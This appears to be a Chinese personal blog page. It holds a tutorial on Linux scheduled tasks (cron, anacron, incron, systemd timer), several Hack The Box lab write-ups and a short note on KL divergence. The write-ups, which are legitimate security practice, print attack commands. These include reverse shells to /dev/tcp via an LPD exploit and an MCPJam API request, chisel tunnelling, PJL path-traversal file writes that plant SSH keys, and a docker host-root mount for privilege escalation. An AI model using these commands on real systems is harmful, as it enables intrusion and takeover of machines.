Qetx Blog

Linux 自动任务详解：cron、anacron、incron 与 systemd timer

Fri, 07 Aug 2026 00:00:00 GMT

前言

Linux 里所谓“定时任务”，本质是把某个命令或脚本交给调度器，让它在指定时间、固定间隔、系统事件或文件事件发生时自动执行。常见选择有四类：cron/crontab 负责传统周期任务，anacron 适合不会 24 小时开机的机器补跑日/周/月任务，incrond/incrontab 适合按文件创建、修改、移动、关闭等事件触发命令，systemd timer 更适合已经使用 systemd 管理服务的现代 Linux 系统。

这篇文章是基于几篇网上资料整理出来的入门到排错笔记，目标是让你能写出可运行、可观察、可维护的 Linux 定时任务。

参考文章速览

Linuxize: Crontab: Scheduling Cron Jobs in Linux：覆盖 crontab 语法、宏、环境变量、系统级 crontab、常见排错，适合作为 cron 速查手册。

Red Hat: Automate your Linux system tasks with cron：用备份脚本例子解释 cron 的用户权限、路径、间隔写法和实际踩坑。

阮一峰：Systemd 定时器教程：用 service + timer 的方式讲清 systemd timer 的文件结构、启动命令和日志查看。

Debian Reference: Scheduling tasks regularly：从 Debian 视角说明 cron、anacron、/etc/cron.hourly 等目录和 systemd timer 的定位。

Debian Manpages: incrontab(5)：说明 incrontab 的三段式格式、系统表和用户表、常见 inotify 事件掩码。

ArchWiki: incron：列举 incron 支持的事件类型和一些实用注意事项。

cron、crontab、crond 是什么

cron 通常指 Linux 上的周期任务调度机制。真正常驻后台的是 cron daemon，不同发行版里服务名可能是 cron 或 crond。用户平时主要用 crontab 命令管理自己的任务表。

核心关系可以这样理解：

crond 或 cron 服务：后台调度器，按时间检查任务并执行。

crontab 命令：用来编辑、查看、删除当前用户的任务表。

crontab 文件：保存一行行任务规则，描述“什么时候执行什么命令”。

cron job：某一条具体的定时任务。

Red Hat 的文章强调，一个用户创建的 cron 任务会以该用户权限运行；root 创建的任务则以 root 权限运行。因此定时任务不是“凭空获得权限”，它受创建者权限、文件权限和执行路径约束。

用户级 crontab 和系统级 crontab

最常用的是用户级 crontab：

用户级 crontab 每行一般是 5 个时间字段加命令：

系统级 cron 相关路径常见有两类，容易混在一起：

/etc/crontab：系统主 crontab 文件，里面直接写时间规则。

/etc/cron.d/：系统级规则目录，目录里的每个文件本身就是一份 cron 规则文件。

/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/：脚本目录，目录里的文件通常是待执行脚本，不直接写时间字段。

系统级 crontab 和用户级 crontab 的一个重要区别是：系统级规则通常多一个“以哪个用户运行”的字段。

例如 /etc/cron.d/a 可以直接写：

只要这个文件格式正确，crond 会自动扫描 /etc/cron.d/* 并识别这条规则，不需要再去 /etc/crontab 里额外 include 或添加引用。它的执行关系是：

/etc/cron.d/a 这类文件本身不需要执行权限；通常建议属主为 root:root，权限为 0644，并且每条任务必须包含执行用户。

但 /etc/cron.daily/a 不一样。它通常是脚本，例如：

脚本里没有时间规则，需要由另一条统一调度规则调用整个目录，常见形式是：

这条调用规则不一定直接写在 /etc/crontab，也可能由 /etc/anacrontab、/etc/cron.d/0hourly 或 systemd timer 间接触发。它的执行关系更像：

可以用这个表区分：

路径	里面放什么	是否包含时间规则	谁读取或执行
`/etc/cron.d/`	cron 规则文件	是	`crond` 直接读取规则
`/etc/cron.daily/`	待执行脚本	否	`run-parts` 统一执行脚本

所以准确说：/etc/cron.d/a 是一份独立的定时任务配置；/etc/cron.daily/a 是一个等待每日调度机制调用的脚本。

如果只是给自己账号加任务，优先用 crontab -e。如果是系统维护任务、需要明确执行用户、需要放到配置管理里，再考虑 /etc/crontab 或 /etc/cron.d/。如果只是想让脚本加入每日/每周/每月批处理，则考虑放进对应的 cron.daily、cron.weekly、cron.monthly 脚本目录。

crontab 时间字段写法

常用符号：

*：任意值，例如 * * * * * 表示每分钟。

,：列举多个值，例如 1,3,5。

-：范围，例如 1-5。

/：步长，例如 */15 表示每 15 个单位。

常见例子：

cron 还有一些预定义宏，便于表达常见周期：

一个推荐的新手测试流程

第一次写定时任务，不要直接上复杂业务脚本。可以先做一个最小可观察任务：

然后按这个顺序检查：

确认简单任务可以跑之后，再替换成真实脚本。真实脚本建议手动先跑一遍：

如果手动都跑不通，放进 cron 之后只会更难排查。

环境变量和路径是 cron 最大的坑

cron 执行环境通常比交互式 shell 简陋。你在终端里能跑通，不代表 cron 能跑通。最常见原因是 PATH 不一样、当前目录不一样、shell 不一样。

建议在 crontab 顶部显式声明环境：

然后命令里尽量写绝对路径：

脚本内部也尽量不要依赖当前目录：

输出、日志和邮件

cron 默认会把任务输出通过邮件发给任务所有者，但很多服务器没有配置邮件服务，于是你可能“看不见错误”。更稳妥的做法是自己重定向日志：

如果你确实配置了邮件，可以使用：

如果不想发邮件：

排错时常用命令：

不同发行版日志位置不完全一致，也可以检查 /var/log/syslog、/var/log/cron 或系统 journal。

权限、重叠和幂等

定时任务真正上线前，要想清楚三件事。

第一，执行用户是谁。备份系统目录可能需要 root，但普通业务同步任务最好用普通用户。能不用 root 就不用 root。

第二，任务会不会重叠。比如任务每 5 分钟执行一次，但脚本偶尔跑 20 分钟，就可能出现多个实例同时跑。可以用锁文件控制：

第三，脚本是否幂等。重复执行是否安全？网络失败后再次执行会不会重复写入、重复扣费、重复删除？定时任务最怕“默默重复犯错”。

anacron：适合不全天开机的机器

cron 的特点是“到了那个时间点就执行”。如果机器当时关机或休眠，传统 cron 任务可能就错过了。Debian Reference 提到，系统不连续运行时，可以安装 anacron，让周期性命令在机器可用时尽量接近指定间隔执行。

适合 anacron 的场景：

个人电脑、笔记本，不保证 24 小时在线。

日报、周报、日志轮转、缓存清理等“错过后补跑也可以”的任务。

不要求精确到某一分钟，只要求周期性完成。

不适合 anacron 的场景：

每 5 分钟探活。

到点必须执行的交易、通知、采集任务。

依赖精确时间窗口的任务。

在 Debian/Ubuntu 体系里，/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/ 这类目录经常会和 cron/anacron 机制一起使用。具体执行时间可以通过 /etc/crontab、/etc/anacrontab 等文件调整。

incrond：按文件事件触发任务

incrond 可以理解成“基于 inotify 的 cron”。cron 关心时间点，incrond 关心文件系统事件：某个文件被修改、目录里新建文件、文件移动进来、写入完成并关闭等事件发生时，就执行一条命令。

核心组件：

incrond：后台 daemon，负责监听文件系统事件并执行命令。

incrontab：管理当前用户的 incron 规则，类似 crontab。

/etc/incron.d/：系统级 incron 规则目录，目录里的文件本身就是事件规则文件，通常以 root 权限运行。

/etc/incron.allow 和 /etc/incron.deny：控制哪些用户可以使用 incron。

它和 cron 目录体系可以类比，但不要误解成脚本目录：/etc/incron.d/ 更像 /etc/cron.d/，不是 /etc/cron.daily/。也就是说，/etc/incron.d/a 里面直接写“监听哪个路径、什么事件、执行什么命令”，incrond 会读取规则并根据文件事件触发命令。

执行关系是：

一个系统级规则文件例如 /etc/incron.d/upload 可以写：

这类文件本身同样不需要执行权限；重点是文件内容要符合 incrontab 规则格式，并且要注意 root 权限执行带来的风险。

用户级命令和 crontab 很像：

一条 incrontab 规则通常是三段：

例如监听上传目录，只要有文件写入完成就触发处理脚本：

这里常见变量含义是：

$@：被监听的路径。

$#：触发事件的文件名。

$%：事件名称，文本形式。

$&：事件掩码，数字形式。

常见事件：

IN_CREATE：监听目录中新建了文件或子目录。

IN_MODIFY：文件内容被修改。

IN_CLOSE_WRITE：以写入方式打开的文件被关闭，常用于“文件写完后再处理”。

IN_MOVED_TO：文件被移动到监听目录中，常见于上传程序先写临时文件再 rename 的场景。

IN_DELETE：监听目录中的文件或子目录被删除。

IN_ATTRIB：权限、时间戳、扩展属性等元数据变化。

实际使用时，IN_CLOSE_WRITE 往往比 IN_MODIFY 更稳。很多编辑器或上传程序写文件时会产生多次 modify 事件，如果一触发就处理，可能读到半截文件；等 close write 以后再处理，更接近“文件已经写完”。但如果程序是先写临时文件再原子 rename 到目标目录，就要考虑 IN_MOVED_TO。

一个排查用规则可以先把事件打到日志里：

incrond 的坑主要有这些：

它不是递归监听。监听目录时，通常只看到该目录本层事件，子目录要单独处理。

事件可能很多。IN_MODIFY 尤其容易频繁触发，脚本要考虑去抖、锁或幂等。

脚本如果又修改了被监听路径，可能形成循环触发。

用户级 incrontab 受用户权限限制，系统级 /etc/incron.d/ 通常是 root 权限，风险更高。

同一个 path 在同一张 incron 表里通常只应出现一次，否则只有第一条生效并在日志里报错。

适合 incrond 的场景：

配置文件变化后自动 reload 某个服务。

靶机或安全实验里监听特定目录变化，自动执行 hook 脚本。

不适合 incrond 的场景：

固定每天 02:00 运行的备份任务，这类仍然用 cron 或 systemd timer。

文件事件特别高频且处理耗时很长的目录，容易堆积和循环。

需要跨重启补跑的周期任务，incrond 不解决“机器关机时错过事件”的问题。

简单选型一句话：按时间触发用 cron/systemd timer，按文件变化触发用 incrond；如果两者都需要，可以让 cron 负责兜底扫描，让 incrond 负责实时响应。

再和 cron 的目录做一次类比：

路径	里面放什么	触发依据	谁读取或执行
`/etc/cron.d/`	cron 时间规则	时间	`crond` 读取
`/etc/cron.daily/`	脚本	外部调度统一调用	`run-parts` 执行
`/etc/incron.d/`	incron 文件事件规则	文件系统事件	`incrond` 读取

systemd timer：现代系统里的另一种选择

如果你的发行版使用 systemd，除了 cron，还可以用 systemd timer。阮一峰的教程把 systemd timer 拆成两个文件理解：

.service：真正要执行的任务。

.timer：什么时候触发这个 service。

一个简单的 service：

对应 timer：

启用并查看：

systemd timer 的优势：

日志天然进入 journal，排错更集中。

可以和 service 的依赖、资源限制、运行用户等能力配合。

Persistent=true 可以让错过的定时任务在下次启动时补跑。

可以用 systemctl list-timers 统一查看下一次和上一次执行时间。

它的代价是文件多一点，概念比一行 crontab 重一些。小脚本、一次性简单周期任务用 cron 很舒服；生产服务、复杂依赖、需要统一日志和状态管理的任务，用 systemd timer 更顺手。

选型建议

简单个人任务：优先 crontab -e。

系统维护脚本：考虑 /etc/cron.daily/、/etc/cron.d/ 或 systemd timer。

机器不保证在线：考虑 anacron 或 systemd timer 的 Persistent=true。

文件创建、上传、移动、修改后立即处理：考虑 incrond。

需要清晰日志、依赖关系、资源限制：优先 systemd timer。

只执行一次的任务：用 at，不要硬写一个只跑一次的 cron。

上线前检查清单

命令和脚本都使用绝对路径。

手动执行脚本可以成功。

明确运行用户，不滥用 root。

stdout/stderr 已经写入日志或有明确邮件策略。

脚本可重复执行，失败后重跑不会造成严重副作用。

高频任务有锁，避免重叠执行。

确认系统时区：timedatectl。

确认 cron/crond、incrond 或 timer 已启用并运行。

如果使用 incrond，先用 logger 记录 $@、$#、$%，确认触发事件和路径符合预期。

确认下一次执行时间或触发条件可被观察：crontab -l、incrontab -l 或 systemctl list-timers。

常见问题排查

任务完全不跑

先确认服务状态：

再确认规则是否真的安装：

手动能跑，cron 不能跑

优先怀疑环境变量、路径和当前目录。把命令改成绝对路径，并给 crontab 加 PATH。

看不到错误

把输出重定向到日志：

运行时间不对

检查系统时区：

任务重复执行导致冲突

使用 flock 或在脚本里实现锁。

总结

Linux 定时任务不难，难的是让它在真实环境里稳定、可查、失败可恢复。cron 胜在简单直接，anacron 解决“不总是开机”的补跑问题，incrond 适合文件事件驱动，systemd timer 适合现代服务化管理。实际使用时，不要只写对时间表达式或事件掩码，还要一起设计权限、路径、日志、重试、重叠和幂等。

HTB Connected

Sat, 01 Aug 2026 00:00:00 GMT

先用fscan扫描fscan -h 10.129.245.100

发现80端口，去访问发现服务是FreePBX 16.0.40.7

网上查找到对应的rce脚本

直接进行利用反弹shell

python exploit.py --rhost connected.htb --lhost ip --lport 4444

nc -l 4444

得到了用户的flag

获得一个稳定的shell python3.6 -c 'import pty;pty.spawn("/bin/bash")'

收集和root有关的进程

查看开放的端口netstat -tlnp

在拿到 asterisk 用户 shell 后，先用 linpeas 做本地枚举。机器上存在 FreePBX/Sangoma Sysadmin 相关的 incrond root hook，这是本机提权的关键点。

关键输出如下：

其中 /usr/bin/sysadmin_manager 会被 incrond 以 root 身份调用。它会根据触发文件名解析模块和 hook，然后验证 FreePBX 模块签名，最后执行对应的已签名 hook。

继续查看 sysadmin_manager 逻辑：

sysadmin_manager的完整代码

核心逻辑如下：

sysadmin_manager 会对 $params 做字符过滤，不能直接传入 ;、>、&、引号等 shell 元字符。但 FreePBX 的 api 模块里有一个已签名的 hook：

关键代码：

这里的利用思路是：

外层传入只包含安全字符的 base64 字符串，绕过 sysadmin_manager 的参数过滤。

fwconsole-commands hook 会对该参数做 base64_decode + gzuncompress + json_decode。

解码后的 $settings[0] 会被拼接进 /usr/sbin/fwconsole $command 2>&1。

由于这里没有转义 $command，可以通过分号追加 root 命令。

需要注意的是，/var/spool/asterisk/incron 同时监听 IN_MODIFY、IN_ATTRIB、IN_CLOSE_WRITE，实际测试时容易在文件尚未写完时被 root 进程消费并 unlink，导致 hook 收到空参数。更稳定的触发目录是 /usr/local/asterisk/incron，它只监听 IN_CLOSE_WRITE：

生成 payload：

得到 payload：

为了让 hook 的数据库回写正常，可以先插入一个异步任务记录：

写入 /usr/local/asterisk/incron 触发 root hook：

检查结果：

输出：

此时已经得到一个 SUID root bash：

验证：

最终 root flag：

HTB Paperwork

Thu, 30 Jul 2026 00:00:00 GMT

先用fscan进行扫描端口和漏洞探测fscan -h 10.129.248.117

找到有网站，就先去进行访问

去谷歌搜索rfc 1179 exploit得到exp利用脚本

打开本地监听nc -l 4444

然后运行pocpython poc.py 10.129.248.117 -q archive_intake -c 'bash -c "bash -i >& /dev/tcp/10.10.16.75/4444 0>&1"'

最后成功反弹shell

但是目前的用户是lp无法获得user flag

查看进程ps -ef | grep python 查看监听的端口netstat -tlnp

发现了本地的可疑的9100端口,应该是pjl服务

先列举用户

看到有archivist用户，想着用pjl的任意文件上传上传ssh_key然后登陆

先用chisel吧内网的9100端口代理出来使得攻击机能够访问

攻击机chisel server --reverse --port 1334

靶机./chisel client 10.10.16.75:1334 R:19100:127.0.0.1:9100

先用pjl服务进行任意读取，读取9100端口的jetdirect.py，exp如下

读取出来相应的pjl服务的代码

python3 pjl_read.py 127.0.0.1 19100 '0:/../../../../home/archivist/printer/jetdirect.py

然后根据pjl的服务代码编写pjl任意文件写入的exp

创建ssh密钥对

ssh-keygen -t ed25519 -f ./archivist_lab -N '' -C 'lab-access’

上传公钥

python3 pjl_write.py 127.0.0.1 19100 archivist_lab.pub '0:/../../../../home/archivist/.ssh/authorized_keys’

然后通过私钥登陆相应的用户

获得对应的用户flag

查看进程中另外一个可疑的文件/usr/bin/paperwork-daemon

关键漏洞在这里：

root 进程先打开了敏感文件。然后检测到恶意 PJL 命令后：

它把 log_fd 和 admin_fd 通过 UNIX socket 发给你。你虽然不能直接读 /etc/paperwork/admin_pins.conf，但是可以读它泄漏出来的 fd。

先确认你是 archivist：

如果你还是 lp，需要先用前面的 PJL 写 key 登录 archivist。因为 socket 是：

也就是 root 用户、GID 1000 可访问。archivist 的 gid 正好是 1000。

然后确认 socket：

应该类似：

如果日志已经有你之前的 PJL 操作，比如 FSUPLOAD，可以直接利用。如果不确定，再触发一次：

然后在靶机 archivist shell 上写 exploit：

执行exp得到密码

执行su root ，输入获得到的密码

提权成功拿取flag

关于PJL服务漏洞的参考资料：https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution?utm_source=chatgpt.com

HTB Silentium

Sat, 09 May 2026 00:00:00 GMT

先进行扫描

得到开放了80端口，那就开始进行浏览器访问，它会重定向导致域名无法解析，我们要先将重定向的域名绑定到靶机的ip

然后直接去访问

利用子域名爆破命令gobuster vhost -u "http://10.129.57.197" -w /Users/qin/Documents/渗透/Fuzz_dict/subdomains-top1million-20000.txt --append-domain --domain silentium.htb

爆破出子域名

同理，将子域名的解析加入host文件

去浏览器访问

访问源代码发现框架是Flowise

直接进行登陆发现用户找不到

看到主页领导人姓名

猜测用户是ben@silentium.htb

提示密码不对，所以应该是用户名对了，但是密码不知道，我们去试一下能不能进行重置密码的操作

可以看到重置密码需要token，这个token是发给邮箱的，我们在忘记密码的界面填入邮箱抓包看看能不能token是否是在返回包里就有的

填入用户的邮箱ben@silentium.htb 抓包

看到了临时的token，我们用这个去重置密码试试

我们用新的密码登陆

成功登陆

找到了系统的cve：https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p https://github.com/AzureADTrent/CVE-2025-58434-59528.git

根据cve去反弹shell

查看env得到好多密码

用用户名ben 和密码r04D!!_R4ge 尝试ssh连接

查看到内网本地有3001端口开放

用chisel代理到本地

本地访问

找到相关的poc：https://github.com/zAbuQasem/gogs-CVE-2025-8110

注意要提前注册，将用户名和密码写入脚本然后注释脚本的注册函数的执行

python CVE-2025-8110.py -u http://127.0.0.1:3001/ -lh xxx -lp 5555

HTB Kobold

Tue, 12 May 2026 00:00:00 GMT

靶机ip：10.129.245.50 10.129.35.81

本机ip：10.10.16.170

先用fscan扫描端口

访问一下80端口

扫描子域名

得到两个子域名bin.kobold.htb mcp.kobold.htb

访问mcp子域名

去网上查找MCPJam是否有相关的漏洞

https://nvd.nist.gov/vuln/detail/CVE-2026-23744

https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6

进行反弹shell

curl https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\", \"bash -i >& /dev/tcp/10.10.16.170/8085 0>&1\"],\"env\":{}},\"serverId\":\"mytest\"}" -k

本来想着直接用最新的cve内核提权的，但是没ben的密码

使用ps -ef 查看进程

发现docker容器的8080端口被映射到了本地的8080端口上，这边我们不知道ssh连接的密码，所以内网的端口映射我们得依靠chisel不能用ssh

上传chisel到靶机wget http://10.10.16.170:8000/chisel

在靶机上执行chisel server -p 1337 --reverse

在本机上执行chisel client 10.129.245.50:1337 127.0.0.1:8080:127.0.0.1:8080

本地访问发现就是和dev.kobold.htb域名的网站一样，跳过

最后选择直接非预期，用最近出现的提权漏洞CVE-2026-31431（称为 "Copy Fail"）

接下来是不用非预期解题

我们先查看ben的组别

在查看一下root启动的进程的信息ps -ef ｜ grep root

可以看到root执行了docker容器，我们先试一下newgrp docker 切换到docker组

查看docker的所有镜像docker image ls

我们发现了mysql镜像，那么我们就可以通过利用这个镜像将根目录挂载进docker容器里，然后利用docker容器里是root权限，读取root对flag

docker run -it --rm -v /:/mnt/host mysql chroot /mnt/host /bin/bash

可以看到我是在隔离的容器之中的，只不过访问到了本地挂载的所有目录

KL散度

Thu, 11 Jun 2026 00:00:00 GMT

KL散度的作用

衡量两个变脸的概率分布的不相似程度

:表示P分布与Q分布一模一样 :表示P分布与Q分布的“差距”是10

KL散度越大，表示从一个分布到另一个分布的差距就越大，信息损失就越多

数学定义

离散分布

连续分布

其中P(X)和Q(x)分别表示真实分布和近似分布，含义是用分布Q接近分布P所“付出的代价”和“信息损失”

在P的高概率区域差异被放大，在P的低概率区域差异被抑制

关键特性

1、非负性：KL散度总是,当且仅当P=Q是等于0

函数的均值 <= 均值的函数凸函数(convex)

琴生(Jensen)不等式令

有对数函数的性质

即

从而，也就是

当且仅当为常数时，即，等号成立。

2、可加性：多维分布到KL散度可以分解为各维度的累加

3、不对称性：用Q逼近P和P逼近Q的“代价”不同

不对称性的深入解释

正向KL——模式覆盖

用Q近似P 生成模型常用

重点惩罚：P有但Q没有的位置

不会惩罚：Q在一些P几乎没有的区域有概率

结果：鼓励Q覆盖所有可能的P区域

反向KL——模式寻找

用P解释Q 分类问题或策略优化常用

重点惩罚：Q有但P没有的位置

不会惩罚：Q漏掉了P的某些模式

结果：鼓励Q精准地匹配P的高概率区域

参考资料

https://www.bilibili.com/video/BV1r6jHzpE1J/?spm_id_from=333.337.search-card.all.click&vd_source=0c47f5490e2c71eac67bf1efe77fe637